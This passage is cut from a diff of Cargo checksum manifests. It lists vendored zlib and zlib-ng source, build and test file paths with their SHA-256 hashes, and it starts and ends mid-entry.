0e4b65e515fc46ae84c7b61008ac9864162f777286","src/zlib/contrib/vstudio/vc14/zlibvc.vcxproj":"09f496a2ad3afdd5e3f36b7285440369dcac4559656edc00ed7a74c7ec9fa10f","src/zlib/contrib/vstudio/vc9/miniunz.vcproj":"7db9b2ef5ff05d3de4ba633feab10e85d45434c865d520ffa1974421904996f3","src/zlib/contrib/vstudio/vc9/minizip.vcproj":"7797a9ad3c0056f3a3cf8fcde7618acd1d151c65d15f841fccd8d9d878ae7bb0","src/zlib/contrib/vstudio/vc9/testzlib.vcproj":"8df405917800adccee6bad2116022c2c82d661b37ea40ea16405fe4dbcb4b69f","src/zlib/contrib/vstudio/vc9/testzlibdll.vcproj":"cde6806f5c81d1fc311f9921c17ba56f8e386d097783a6a90875d385837c47e7","src/zlib/contrib/vstudio/vc9/zlib.rc":"6041a4727ea47520058a5b4bb8de87592883eb7f26dd39df62879c347f3888d1","src/zlib/contrib/vstudio/vc9/zlibstat.vcproj":"d393d418d827ad9fb9c6516f1a7620371d15e3f5afef8ba60b51e50acc7199e9","src/zlib/contrib/vstudio/vc9/zlibvc.def":"a228e521a561d4456c83c7081b4e9950cfce99133af7d5fdd27f12a8fd53efde","src/zlib/contrib/vstudio/vc9/zlibvc.sln":"26e58d4b2cfcd941c367fb2a18537b3b9f002f2ac1278b700ea1129c50501452","src/zlib/contrib/vstudio/vc9/zlibvc.vcproj":"eaca98fcf166738b59fcdbd179dac9f98f985c6ba49212b186343a998816f081","src/zlib/crc32.c":"ec3ff0f97858b228513027a490e4330cbb23c6fbdd24d839902ffa89854f209c","src/zlib/crc32.h":"9a2223575183ac2ee8a247f20bf3ac066e8bd0140369556bdbdffc777435749e","src/zlib/deflate.c":"4470e36709ce7d6067fa3e8f60bb7f693b055bee42a0d6655ed71faa2db87fde","src/zlib/deflate.h":"0db1b5ef79ca6ba0f508b7b8bdaa11af45c5ebe2c89ab4f1086dc22b963a52fa","src/zlib/doc/algorithm.txt":"992590931e982c0765286c2d83f6e9ff0a95aabb08e28c30c52bae3e8c4bd5ad","src/zlib/doc/crc-doc.1.0.pdf":"064f9252d6e2e15ea56c2bd18e160e5c9c84bcd137c11a7af497aaa511ace998","src/zlib/doc/rfc1950.txt":"8f0475a5c984657bf26277f73df9456c9b97f175084f0c1748f1eb1f0b9b10b9","src/zlib/doc/rfc1951.txt":"5ebf4b5b7fe1c3a0c0ab9aa3ac8c0f3853a7dc484905e76e03b0b0f301350009","src/zlib/doc/rfc1952.txt":"164ef0897b4cbec63abf1b57f069f3599bd0fb7c72c2a4dee21bd7e03ec9af67","src/zlib/doc/txtvsbin.txt":"d1549fb75137f03102798f70fd34ff76285e717ddd520dd82274c1c0510eacf0","src/zlib/examples/README.examples":"1bc1c677bbebe1aa5e85015bb62f0cf3fcdbf95652d30494159bee6166c1854a","src/zlib/examples/enough.c":"c14a257c60bbe0d65bb54746dd97774a1853ef9e3f78db118a27d8bc0d26d738","src/zlib/examples/fitblk.c":"fd8aaaefd5eb3d9fc388bdc5b715d1c6993ecc9367f5432d3b120a0278904edc","src/zlib/examples/gun.c":"3bfd36b06284ba97d6105b8a6a5d18b2b34b75b3a1285f16d018680fb174915f","src/zlib/examples/gzappend.c":"6de91c8305e37560117bff44136abff72b16b028c0bda0bbac7ea07e4988b0ce","src/zlib/examples/gzjoin.c":"90b9d6c39a5fc91cf1cc9b96b025a508a8015dc502cd9374c754b44078593f57","src/zlib/examples/gzlog.c":"196872021c96099fd30c880ac2cccd1350fdbd81179731f3914153a26ebf72e9","src/zlib/examples/gzlog.h":"681f280437f867820bf39880e2f4fc641d402879e399ba2e6a31d73feefe8edc","src/zlib/examples/gznorm.c":"e5a8f5c3b107f27212f7d5fbfcf072a337a1b4ea32929ae31c168997438a5cc0","src/zlib/examples/zlib_how.html":"80fb647be8450bd7a07d8495244e1f061dfbdbdb53172ca24e7ffff8ace9c72f","src/zlib/examples/zpipe.c":"68140a82582ede938159630bca0fb13a93b4bf1cb2e85b08943c26242cf8f3a6","src/zlib/examples/zran.c":"10f9568b1f54cdb7474a38c5bc479aa0edb07a0eed2e999bdad4c521f6b25330","src/zlib/examples/zran.h":"9a0d4c15f898c43deae2c5e98a5c66c637a1b25573d662fe91a789c386eaf971","src/zlib/gzclose.c":"94446cf8cde67c30e64d0a335b0c941fd3fbad2e77f30180d12e61f9c2a5a6b8","src/zlib/gzguts.h":"fa85c9dabe24e42ba95c702870416ff67ecc58906321f8e74b72a50dfd7df400","src/zlib/gzlib.c":"635b7b6df79a5ce6e0f951669e4c82704d7972d8afb87278b9155c2cb4c5066f","src/zlib/gzread.c":"41c69d43fb3974bae58d9169aea3514221f70dc77bb7a35c79626dd3be01adf2","src/zlib/gzwrite.c":"c7454689751c8f41ec63a1381a0053fb149095abe1c3b89c8a996b2d7ac8adce","src/zlib/infback.c":"6a6cfe3d7e239d590692bc2664ac58d3ef92be30ff4cb3c6dbf5deed28f79eb5","src/zlib/inffast.c":"41d93aefdbfee5455809130af74fcc76cf7259b1aa8b34d0060d14e57463e8bb","src/zlib/inffast.h":"7d8c1c873ce9bc346ad6005bb9d75cce5c6352aaf7395385be216a9452a34908","src/zlib/inffixed.h":"237ba710f090e432b62ebf963bee8b302867e9691406b2d3f8ee89ee7bfef9b0","src/zlib/inflate.c":"f1679575fef1717d908dd09d7bfe8fff89c21941cadd7c255a2ccccfba3a287e","src/zlib/inflate.h":"e8d4a51b07694bf48cb91979c19974cf6a5ab0b8a09d26ec0d14df349230673e","src/zlib/inftrees.c":"b9db40bbb68b63dccbcdfa78d687751e33178af8669f1c1236309cfd5d2edc0e","src/zlib/inftrees.h":"44084a93673386db6282dcb61d739c84518e10dff66d1c6850715137c827464c","src/zlib/make_vms.com":"14ed54bdd391c1648cedfb69d8a73a26dcc7f1187d59b0f18d944b7665cec85b","src/zlib/msdos/Makefile.bor":"292ab363f7ffbc4ae84d37cd9bdffd2dac1003bee52d223a8489844870f20702","src/zlib/msdos/Makefile.dj2":"9208450c2ae6dcbfcc25560b5b9ca763f461e7246e37b0552474edf8fa898906","src/zlib/msdos/Makefile.emx":"c749d6ec7f88e8e639d4f03bdbdcbbe9d1c304210be4c4be621ceb22961d3d64","src/zlib/msdos/Makefile.msc":"0e021a6f42212415b060e4ad468eb415d0a8c1f343137fb9dff2cb8f9ead3027","src/zlib/msdos/Makefile.tc":"2ae12ee2a3e62f7c5a0520d0fbe4adee772bc07fe816002b07ccb43db3daa76a","src/zlib/nintendods/Makefile":"ea5823efe6830132294eddf2f56dbd7db8712244c210bb4968c431b1a91bd066","src/zlib/nintendods/README":"e362426c47b39ff6a7d6c75c6660b20abf076cdfa5e1e421716dc629a71aef95","src/zlib/old/Makefile.emx":"d811f032272aae50123a889297af3a02fbd60d1e42bbef11466462f627ff7b5b","src/zlib/old/Makefile.riscos":"d1a488b160fbfd53272b68a913283a4be08ba9d490796b196dddb2ba535b41e0","src/zlib/old/README":"551a0f4d91fe0f827a31cbdfbb4a71d1f3dc4d06564d80a3f526b749dd104d11","src/zlib/old/descrip.mms":"8ff08c35c056df9c986f23c09cf8936db63ccf12c3c42f7d18a48b36f060cff7","src/zlib/old/os2/Makefile.os2":"6ad247c00f00ff42fd2d62555e86251cef06e4079378241b5f320c227507d51d","src/zlib/old/os2/zlib.def":"ea9c61876d2e20b67ef2d9495991a32798eb40d13ede95859a2f4f03b65b9b61","src/zlib/old/visual-basic.txt":"1727650acbde9a9e6aec9438896377e46a12699cca5d46c5399cef524dedc614","src/zlib/os400/README400":"5eb702a0dd460e2bea59ee83014c3f975e892057850c639f793bb740044a38ba","src/zlib/os400/bndsrc":"3c36a17975eed5a8d33bc5443b39fead1e68c01393496be9c1f4a61444bcb0f6","src/zlib/os400/make.sh":"143394d1e3876c61c29078c0e47310e726e1f5bd42739fe92df9ece65711655f","src/zlib/os400/zlib.inc":"dede38961ae2e7a2590343bf1ff558c6f51e46714dec33f2d11d8c34899b3875","src/zlib/qnx/package.qpg":"d521336be75bdd145281c6d166241905751ec97093ecd6fec97a313f631ac0e1","src/zlib/test/example.c":"64ae90d60b40a8aec4700e5c4e7a71898ebb92948b7a07f939b3e763cb3e8b35","src/zlib/test/infcover.c":"f654f3fcc74b33bd95cda63d13fe0ce589bcfe965544e0c17ee597d75efbd090","src/zlib/test/minigzip.c":"f9777d1e8b337573e12daa8091dcf22e88a9b155fc0acad15b8224c377bfe027","src/zlib/treebuild.xml":"89b50165782643554a38d5c58c203d9648b540e5a455531dcb58b5676a019955","src/zlib/trees.c":"b338f1ec9038bd77efc09c8fdb99ef27b5db5b3da9baa301e544adc8e3b6a662","src/zlib/trees.h":"bb0a9d3ca88ee00c81adb7c636e73b97085f6ef1b52d6d58edbe2b6dc3adeb4d","src/zlib/uncompr.c":"7b3d8ca0f10ef7c74044c3172ca8f9f50389cd0f270ee4517f438e7e06be5623","src/zlib/watcom/watcom_f.mak":"7e039b912f9cffaa40835281430bb284fa9042b0a0d12f6b34700a06bca6576e","src/zlib/watcom/watcom_l.mak":"d11b4064604a034725860e63e3f6d347056372e4b1675b183e20a93533b20cc9","src/zlib/win32/DLL_FAQ.txt":"9e00778319381e6275691dd3a89410c99065b8c0c5db96473abe8c859cbdefd8","src/zlib/win32/Makefile.bor":"7d73a0d2c3e38b7c610bbc9c22f683a4fe1ab9b8b65649a3a8ac4ff7fcc14ba6","src/zlib/win32/Makefile.gcc":"97140c30506a8f6b2edb6b3d8a1b6b539d7929d4b957deba9950301090f579bf","src/zlib/win32/Makefile.msc":"235529bd529d4690d5d4b7871fdd0a1f118f2fe18862cbdec5f5ac674c55a60d","src/zlib/win32/README-WIN32.txt":"f414b3702f8d3bf1de42e0f41604bd78c44e537aae16b6107e3cdaa5759caa16","src/zlib/win32/VisualC.txt":"9ec0babd46eaa012371dee2d3a8a55d9c7130f7895512c3371c737e4a7f6a997","src/zlib/win32/zlib.def":"c00693a5c825f8bfbdb68124fd03cb2fa5269338071147bdaa14434aaf3962b9","src/zlib/win32/zlib1.rc":"54e161029b59e99a4f9cb2281b956f00ecfb1814318ddef9c741ff4f832c5c1d","src/zlib/zconf.h":"80e0a31a4c0e6f20d1bad0df99271b9d535aa9f7c4e62f1a54f643adb4c6dfa2","src/zlib/zconf.h.cmakein":"bb12900d39488e6a9ed67ebd7cf5599f3ced8937b7077d4d5001e470c7a1392e","src/zlib/zconf.h.in":"80e0a31a4c0e6f20d1bad0df99271b9d535aa9f7c4e62f1a54f643adb4c6dfa2","src/zlib/zlib.3":"aefd0162070fcb0379dc18e27b039253cd98c148104c1097dd60e0d0b435e564","src/zlib/zlib.3.pdf":"91343dffd2876dcf4af567f299ce99872b066232451093d6d12e02e4654873d8","src/zlib/zlib.h":"a980a0d104198a53cc220c51ab5856e5be901bec8a2d02e0ee79a8754219dfed","src/zlib/zlib.map":"33e2a7c4defd6222945bb0f7191b6380afb4f518e804af86a44aad4a9090bf9e","src/zlib/zlib.pc.cmakein":"2f1d0b18ce37c2af415a469857f02aee2c41a58877aff21d29e9c6db32b55cb7","src/zlib/zlib.pc.in":"04c01cc2e1a0ed123518b5855f585c93a24526dd88982c414111ea1fc9f07997","src/zlib/zlib2ansi":"b3f9c88abbdf16143e5d5110e44fff198bcda9ee1358e036c8d445e9d0cbce85","src/zlib/zutil.c":"8108af451ad14271065844736ac7c436275b92826c319318070508d769371428","src/zlib/zutil.h":"cf94d865e3a9162c0571cba7f74c8f01efbdca26b981d6cc9c545d4c3991e3c2"},"package":"56ee889ecc9568871456d42f603d6a0ce59ff328d291063a45cbdf0036baf6db"}
+\ No newline at end of file
++{"files":{"Cargo.toml":"5fc1259b26541f617473d6b741816705c91322db9740e347a8686e3c0b30ab2e","LICENSE-APACHE":"a60eea817514531668d7e00765731449fe14d059d3249e0bc93b36de45f759f2","LICENSE-MIT":"34c467b6945a22696d060b8fdd2379d464acb3408d4c599d3dc5fe4fa1b4c84f","README-zng.md":"2f9f34e6b388a401b8d8318b64997a7521e4198c5c314f8cea11433623628515","README.md":"75701bfcd7158e924f51ece8debb6d4425ccd6ad5d2806004b5f174423f4b2af","build.rs":"b383e60f71c9b40ecc807ac58473f9b85d7036e8359796634cba2701224493a3","build_zng.rs":"b7768e19f0bf876f29eabb6ad6511f530e61d8aa92bfbe89a7cf3818e4824ce7","src/lib.rs":"7c4a3394e17e6250c1f4f2067efecc56b1850827596432ad0ce75e5eea800446","src/smoke.c":"10607c81b73811bfcb9718767312bf97ba2ccf7048ea2f18a2085aa06ad7f91b","src/zlib-ng/CMakeLists.txt":"5840d2c44e335af0f58f8a2545da60be403946b1181641b35ea7425b2e0f44db","src/zlib-ng/FAQ.zlib":"c524f4f86d336b3de71dd6977afddffa9c02fda5c26db4dfefae44959e7614a2","src/zlib-ng/INDEX.md":"989545e90d8e9ac149034f762ce78ed8976ebf9324326228dea37ca190154609","src/zlib-ng/LICENSE.md":"d3c80be055d94d798eaa786116e84fa0b010bc11420b5d2060d978ea77845436","src/zlib-ng/Makefile.in":"1f56adbf5fac7fa36c6e4c11b5f061acb971984c941154cbf0344e2b68b99e7d","src/zlib-ng/PORTING.md":"4105267b5e00f8d608f31dcf4fe2cfede15cc94568211691419e6cba3d8e539e","src/zlib-ng/README.md":"ba04244ad8eea94d834d25aa75b40e7f849844a33c68ed180c2a631378e1f211","src/zlib-ng/adler32.c":"82ffa1b4fc4b198ba8004135f79b8819d9f2b28e851c30c0ab41e6d32dfbf70d","src/zlib-ng/adler32_p.h":"f56915c59a345baf4558374447385a317e29365a4db2fbb38af4de3e1a1a0201","src/zlib-ng/arch/arm/Makefile.in":"95464884ba75a7b12c9ceda5845d8d68d5a7d7dac8a8dc24b27beb2192e5b97b","src/zlib-ng/arch/arm/adler32_neon.c":"3990b8d5570b12c2162218fe0e9bc723a03f1c89b5ed3ba70a74a98976260ee7","src/zlib-ng/arch/arm/arm.h":"855adbb02d7b9a5714a17d9dcff493610e7cd2b9a1f4e58e1c99626ab536e868","src/zlib-ng/arch/arm/armfeature.c":"4800228414695b632b9ceca14409e782d6fc3b357ba7ab00858925fc66b5532e","src/zlib-ng/arch/arm/chunkset_neon.c":"95fc7917d1d30094e15a35c56d1e9c189c5ca3758553a3467d4da793eaed656f","src/zlib-ng/arch/arm/crc32_acle.c":"e2be53267a2a59fc79c4b3bab00e8b25bf64a8fc8bf2c6684e5b1b1fd1480f9d","src/zlib-ng/arch/arm/ctzl.h":"feb70d55e66025fff806e30e48002b35cfff79533d352585cfa5f118edbc90b1","src/zlib-ng/arch/arm/insert_string_acle.c":"d1b1dae5aeada70f2b03c2cbf3112ce55a92401c2d87709081b04dcf5992e1ad","src/zlib-ng/arch/arm/slide_neon.c":"19d8cf5c742ac6b82164c7a183538ad1129f9f17e9b8bce8b40daac3820fb6c4","src/zlib-ng/arch/generic/Makefile.in":"f41a34839986eac8dd52cf91fada0efff4171c059ab5d7db6347c91bd6d9db09","src/zlib-ng/arch/power/Makefile.in":"69644d1a0ff8e7f38005c0a55cdbaf3f0d87f42abf8fc4f4136271c4fedfb846","src/zlib-ng/arch/power/adler32_power8.c":"79b75e98ad3a62facbbdd8c0b178d3f993b57f6e34d320bf47eca33aa8c330a1","src/zlib-ng/arch/power/power.c":"0647afb3b3b7ce2a19b4815ec8fdeee0b37c759413e5ef0a668a2dba22d94803","src/zlib-ng/arch/power/power.h":"f3f15f94fed98a2f7dd5d4568c5172e597228be4141d6895062703c3f70024da","src/zlib-ng/arch/power/slide_hash_power8.c":"932ea533d25e2f5478afe0c47830e7ef24276cad0d75fd91f2d8c799bd4b5d36","src/zlib-ng/arch/s390/Makefile.in":"eef6c3169723f089b0b5f852423ec55bf0364caeddd7cda991f2e76bc1682107","src/zlib-ng/arch/s390/README.md":"730b9a0230609988fbd1bdd52a7abdaa1fa5c65253ac78163dd4a5eccb966abc","src/zlib-ng/arch/s390/dfltcc_common.c":"3d460448ad4c5b687da6b7c0ad8498ece92b771dc7ddd0189e096acca5a1cad4","src/zlib-ng/arch/s390/dfltcc_common.h":"de8902d3863c8a7a3f6ea27dec2ee5a4f17ef5d8646e48a586d0b29fe94c9a0b","src/zlib-ng/arch/s390/dfltcc_deflate.c":"d6941d3c5ada225ec39b98b35bce1d203aa1f2d994a47c8487d377d9ef2f6efc","src/zlib-ng/arch/s390/dfltcc_deflate.h":"5c90a812e2a2f2b842dba027e5640791e52206e74b8423cb78e0b8ea12ed29ad","src/zlib-ng/arch/s390/dfltcc_detail.h":"fe66cd700a1d017eba86c2c6e95f53e9a4d1cb491de9cb3963b2a2907098baa9","src/zlib-ng/arch/s390/dfltcc_inflate.c":"83643b5605cdc2d1d7780e1bdeb007f9dc6a1cca633157abbfb5d3232f2b8816","src/zlib-ng/arch/s390/dfltcc_inflate.h":"d7a4a5ae79abd1a5456521926b918becfe86c253a4fc23723fbc09f7c3303128","src/zlib-ng/arch/s390/self-hosted-builder/actions-runner.Dockerfile":"999c962c49508ebf61414e6f9ffea059926ac500d4c6d707ea1f9e77402f7374","src/zlib-ng/arch/s390/self-hosted-builder/actions-runner.service":"33a359eb58d76152f916b40ee1357f7edfda75e8dfb55a5b12ac83bcd6ed7055","src/zlib-ng/arch/s390/self-hosted-builder/fs/usr/bin/actions-runner":"f647e18728ea15fe927ac9f8cba83a5b343654a0e91b5ebe653bae7af7375110","src/zlib-ng/arch/s390/self-hosted-builder/fs/usr/bin/entrypoint":"add4ebdc4f06ed15bb1de12a8c9ceb370a60baebb0932a1026a75433940ad3df","src/zlib-ng/arch/s390/self-hosted-builder/qemu-user-static.service":"54551049f6181da88700a2a944a72b0af3b8abde876fa28e1348deb5eb96c91b","src/zlib-ng/arch/x86/INDEX.md":"c12f9bf0d66743a6472fb756bf46def8eea1dd235be7fca994dcb22f693a3524","src/zlib-ng/arch/x86/Makefile.in":"9f6fe7567a99e81aaa3bef8ccfa1ad40f524efc285cf8dfe0f497a1530f8016c","src/zlib-ng/arch/x86/adler32_avx.c":"99056732c7bd5d53dc108f282811a40bf21570926781af5dc7b17cb9218963de","src/zlib-ng/arch/x86/adler32_ssse3.c":"883a5520b4481225d097c90c5359106a3c8eb7b921499c94276e999b7c39adc5","src/zlib-ng/arch/x86/chunkset_avx.c":"13c83149146c408ffdc9358bcb5355259f6196e6cc6fe025b7ea3647e313cd0a","src/zlib-ng/arch/x86/chunkset_sse.c":"f14d0557634b53af8cd6e2a1ce9d57df50244a72e85ff3b100b5ca287d1cfa8a","src/zlib-ng/arch/x86/compare258_avx.c":"8b2838d168de4608327f25fe52d53763a82413ee911d87947d3fcd72c7f9bf26","src/zlib-ng/arch/x86/compare258_sse.c":"b5049722ffd4a43a96868eeba5e000271cfc5fcbf3c2657026ead15b1df28a10","src/zlib-ng/arch/x86/crc_folding.c":"defb5a7067562612651f693c910db53cf228b7cd7fef11991504767a7d84f224","src/zlib-ng/arch/x86/crc_folding.h":"939212546611917e9e066e8ed30cdda95680ec1f5fe0890cc4865b4e6d7fc215","src/zlib-ng/arch/x86/insert_string_sse.c":"9e84a75b6a565422eb105261b6729d2a02b89133bd14372c949d5381b5deed3e","src/zlib-ng/arch/x86/slide_avx.c":"5e448e439ac24e7cb10eee176ca37f2c63f73c135c0a2af040e232bad490997d","src/zlib-ng/arch/x86/slide_sse.c":"1946cabb634c905fddef0a22b2fad19dfd99110169567c3beceef71145b2e316","src/zlib-ng/arch/x86/x86.c":"1af56e27b2e951e1ad1344e62c2f7a8c49a776fcdd1cb0f4ea9d6152118a479e","src/zlib-ng/arch/x86/x86.h":"4d2d20ea0087089141e250e77bb3d419954b9092810028b151581b9115a5fe8c","src/zlib-ng/chunkset.c":"cbf26582fff56726cc28bee05ff0a1680c50308b8dd9bb8cfb57d7f0a587d0bd","src/zlib-ng/chunkset_tpl.h":"eaaf0804f6162ab26b2b6de263a478ffb111559e653372e96e400acba9c63563","src/zlib-ng/cmake/detect-arch.c":"e0da3d16195eefb54bef77163db737a66453f25ae16648aa8f6beeac70787662","src/zlib-ng/cmake/detect-arch.cmake":"27fa8da497b39ac70d881e2d345749611dae4c30f7b7a9c9e32f2c042672189a","src/zlib-ng/cmake/detect-coverage.cmake":"e4e372991ba80a16ad47df2716708a56013cc628aa7ed01573a2360c60610125","src/zlib-ng/cmake/detect-install-dirs.cmake":"87031a40428a104f5cf38ecdb8a5028d8c679cfa772a58adde8380c809b34eff","src/zlib-ng/cmake/detect-sanitizer.cmake":"a8f7a4515278532b251b567d82ed576fe1ca7e698992ed92d1beb8e8dd22237f","src/zlib-ng/cmake/run-and-compare.cmake":"13d85c12c9d6c7b1b148bd0c5a5b4faa6a4b56f3823bf03c4f8d914c9c5949d8","src/zlib-ng/cmake/run-and-redirect.cmake":"7f08d18c09aa58113882ec760735a62a1723a5bfcae9f73bd3713a4dbaeab898","src/zlib-ng/cmake/test-compress.cmake":"0d2d1595859ccfb6795bb98700a4f7c1652b025cc344a1291524601087957888","src/zlib-ng/cmake/test-tools.cmake":"63aabfffd53970b8e145870b2a1c03bffa3595f7df04bd86f94e97b6f2a387e7","src/zlib-ng/cmake/toolchain-aarch64.cmake":"46be0bf580a49a528c72005484655afad1de3705b39a66a7b0c213b0fa81cee6","src/zlib-ng/cmake/toolchain-arm.cmake":"05e38076fd6ffb9785ff9844ccecd26436c9dc4c25b7777b62e5f52e788c3882","src/zlib-ng/cmake/toolchain-armhf.cmake":"1a2029163a57415eec9a5dd5f45d3254d349e97b1beb5d16876b741717673341","src/zlib-ng/cmake/toolchain-mingw-i686.cmake":"df9000354b820d3713d1469edc9f94cd095389b0cca83965730b8e64857fdf3f","src/zlib-ng/cmake/toolchain-mingw-x86_64.cmake":"ee316e6e3202919da5d497f9e246466fd715fcf079cb5b4afc4774089d1fefad","src/zlib-ng/cmake/toolchain-powerpc.cmake":"9bd6fc58ce5b70603657f2c195c4a5cf52fae96ad63ac787978831c5858f762c","src/zlib-ng/cmake/toolchain-powerpc64.cmake":"917fc5eef84921d8b38f43c2b4f60870965b4eecc8f018c7b3499e1142c715af","src/zlib-ng/cmake/toolchain-powerpc64le.cmake":"5b2edd36d62de513db2d32bfbf779979d81ac527b981cc3379a4e933fc5a94d1","src/zlib-ng/cmake/toolchain-s390x.cmake":"cf52cecea7bd2a9d1ff5fd8edcb03c531e3b404bbcd15a15dec2e0e19936f2ac","src/zlib-ng/cmake/toolchain-sparc64.cmake":"e543062485d06a7e0fec8135887c5e73363517fa4babc23ef7b780916d75afda","src/zlib-ng/compare258.c":"56bfd48d5ff9ca422fbb728df7a373436c73796561dff118c7d4039fe70d29e2","src/zlib-ng/compress.c":"41df6eb62d6fb1334ecfe0a0c3e50a7ee89528719857f2b8297cbc512149759c","src/zlib-ng/configure":"160f69a1e51c49f6454ece92e4c5e08675ca5d90cf22b8f79cbe54c4381d93c2","src/zlib-ng/crc32.c":"98440be8a99381151a2d740f2e2228e8c1b23b9193c3642c52a4e34799506336","src/zlib-ng/crc32_comb.c":"11a36a6088fb520a58e0304fc99cf12fc8437519e8a70fe74dad58f00af696ec","src/zlib-ng/crc32_comb_tbl.h":"d6615d209d6c7d5248c6f7fe4e5dbded13c0eb87997b37693032c2902927407d","src/zlib-ng/crc32_p.h":"1fa91375a18e090c0a0dfda39de3df36346a0b1be36c808be6b6c29c32eba922","src/zlib-ng/crc32_tbl.h":"d629378ba38ff5775095b64e277bcd41c4b89fab9b5647a9fb29e15da0db0161","src/zlib-ng/deflate.c":"6fb8979ee8bc43f6e12a649708c7eb50e60bb9bdc2e55c45ce3b15aefe779179","src/zlib-ng/deflate.h":"7b3c649965c54446097d6157dd31d3685aa7df1082e9aa64cb3cdf6ac2c4d023","src/zlib-ng/deflate_fast.c":"d51e1368fc997673c64b5ab9a620439df25f313f8274529d974c5f80b89702b8","src/zlib-ng/deflate_medium.c":"1c3d95cbac76052d39595ea750c5536541c18302b9abb398c27b58955318bba8","src/zlib-ng/deflate_p.h":"2e739301e8c53038c2a958c8c8693584cd8dae464ffef05a22db6d6fa9985676","src/zlib-ng/deflate_quick.c":"280905a191d2b2a7274f2453ac537e01a0fb6e7540a0b212c1514bfb8c9415ea","src/zlib-ng/deflate_slow.c":"a2c66723e1e71ffd6ff856407459ab311a4c6546ecf50285081fc7afcd0ccd2e","src/zlib-ng/doc/algorithm.txt":"0d21a0a4c47e512743389628d1385a831a5e5ff716491095a382b923287f4223","src/zlib-ng/doc/rfc1950.txt":"8f0475a5c984657bf26277f73df9456c9b97f175084f0c1748f1eb1f0b9b10b9","src/zlib-ng/doc/rfc1951.txt":"5ebf4b5b7fe1c3a0c0ab9aa3ac8c0f3853a7dc484905e76e03b0b0f301350009","src/zlib-ng/doc/rfc1952.txt":"f7c810fd9d719d002d605207a9b880600f71d039b9626c5b4b03f2122438dd2d","src/zlib-ng/doc/txtvsbin.txt":"47c273bb22c9773248d380549a330e5c262266b1292154b0d3014f731cc73f47","src/zlib-ng/fallback_builtins.h":"1d2c2da88009a58f240bac33f562fe5a0a39c1e773813a2d75b45283ff1396cd","src/zlib-ng/functable.c":"d9db6530035a06f95982ff3d7680a84f4b54b8425874ccbe2ab10b906bd5708a","src/zlib-ng/functable.h":"e5a2d0c10411d23f04295bcb9ddb9889388974b723caef65aa5c4ea4739f4aa7","src/zlib-ng/gzguts.h":"7b69b2f35264169bc794d0d5c00247d93c203f751d226302966c33b524ed9fb0","src/zlib-ng/gzlib.c":"7e6ad5d9d32e6429d56a5303e2c6e6870d69c023d6647a52fb95902828de4011","src/zlib-ng/gzread.c":"d5d47d24dc463b978fe828320dab140494803fd86b511300f903c7c2eabd4d25","src/zlib-ng/gzwrite.c":"1685ad2c88239b3434cd2c4a9d66b67842310b2d1dfd01aec0fc293eef20e858","src/zlib-ng/infback.c":"4decaa412219fc8adb935754c54a4dedf3952aaf67107a12512451c65eadee23","src/zlib-ng/inffast.c":"a134d4aa6a46eebe975ca0cd5ef18894fc852b6a840be21ca7243ddbe6c9d8f9","src/zlib-ng/inffast.h":"42e74a92b496ab0726be317e8497a12bf3c3cf3d0d533440ce65befd3929c71c","src/zlib-ng/inffixed_tbl.h":"a94225335396245e9f0ccb2e9b4b334fe7ee0111ed8e32a26bcd52187f364314","src/zlib-ng/inflate.c":"f33e2e7eeaa4b33ba6a2c327f8c9939e6b847afbdad349da65c97bf81c6083b5","src/zlib-ng/inflate.h":"eb25527d1bdedaa45167926dce4c39d9aaa3147b0f4a95f38f5916528c30a09b","src/zlib-ng/inflate_p.h":"4a94c51194da119770cf662ef289994f0c78d95184d54d6ae5d50a393e8f5a62","src/zlib-ng/inftrees.c":"7a777f5ff02ce60fbad6cb843ceadd7b3a8a8a0476ae010c87a0377c2e88f780","src/zlib-ng/inftrees.h":"fa80eb11c2290b345470a03cb861843e2cb1365135233ea8243e9fd79d3618a1","src/zlib-ng/insert_string.c":"aa22ba53a1e75821499809277f9ca0e5ef92b07a618136dd11ae1734e233b7c9","src/zlib-ng/insert_string_tpl.h":"1ceba9903324d10aad6e1d83653c4d534a5b06fd09076414a06215482be00bac","src/zlib-ng/match_tpl.h":"eeab4c6eea8511a7579738e622af062ad16f4016312e93ad34bc5903d8b3c4a1","src/zlib-ng/test/CVE-2002-0059/test.gz":"60bf96b8f433bd7e057ce3496aceaccd70ec80f596a4aa8bcc7786056705ce66","src/zlib-ng/test/CVE-2003-0107.c":"6ed6fba710f8f2b898750f0ec17720fbf01e45c39e8adbba6409681b34914140","src/zlib-ng/test/CVE-2004-0797/test.gz":"38caae524705f676bde13a8df9fc8c7d2fe105ba6bdbab62a405b0276fd3aa2e","src/zlib-ng/test/CVE-2005-1849/test.gz":"e4d5a60617df4b5dd44eda94751ce1eacdb325792bba6e3cc4676719a3adf742","src/zlib-ng/test/CVE-2005-2096/test.gz":"8f702d4861aa3ec98ac03a59ff26b430939630cb5cd4266d2658d3b836d576f9","src/zlib-ng/test/CVE-2018-25032/default.txt":"d7f8278db331c47bd1208bf41e7903cbddee4f7b47c666c40afdd3c96237752e","src/zlib-ng/test/CVE-2018-25032/fixed.txt":"3b27a98edd2f3f580033f9add11d3469d7808c969a1128ee00c18ac7a12cef57","src/zlib-ng/test/GH-361/test.txt":"358497d0a7251ea42101dc77b02337f46fd89af09643a8288e2a3082e5d24128","src/zlib-ng/test/GH-364/test.bin":"af5570f5a1810b7af78caf4bc70a660f0df51e42baf91d4de5b2328de0e83dfc","src/zlib-ng/test/GH-382/defneg3.dat":"b22bef6b7392401c9e7b079402c4a4074053d7a914d050400e37fd7af6fe26d5","src/zlib-ng/test/GH-751/test.txt":"b83d833803b7bc3124fb2a0034081f0b999ad10c33a8dfa3bfd181dc078ae3ee","src/zlib-ng/test/GH-979/pigz-2.6.tar.gz":"2eed7b0d7449d1d70903f2a62cd6005d262eb3a8c9e98687bc8cbb5809db2a7d","src/zlib-ng/test/Makefile.in":"48d033f2dbb62635624bf2c9e3e7fe279b72afc3411d14cb7cfdbf40f5b80e19","src/zlib-ng/test/README.md":"d60ef4851222ebc2a9fbc23f292ab11bc7fee40ba6171ea768b2ffa005df5b1d","src/zlib-ng/test/abi/ignore":"02aa87f77656dbc1fbddd23f436cd15465a92df0722da4055cae1bc8bf013097","src/zlib-ng/test/abi/zlib-v1.2.11-arm-linux-gnueabihf.abi":"f5e91f25b558a891fecbeb6e2e9575698630ab700d055a38f3bc4fe66257f513","src/zlib-ng/test/abi/zlib-v1.2.11-x86_64-linux-gnu.abi":"038337383cf780587d810cf5400d632f3a1f8517e63ac4a71b6e5224db8b1413","src/zlib-ng/test/abicheck.md":"6b4a87d760b3848fb1ded6782e02a1d074d9e487bdabb29274a62b31cdf48772","src/zlib-ng/test/abicheck.sh":"7ca2884ff37c697d380f620554525f9b9dc7fa76b45f866d284b2ea5b98c65cc","src/zlib-ng/test/adler32_test.c":"db3e8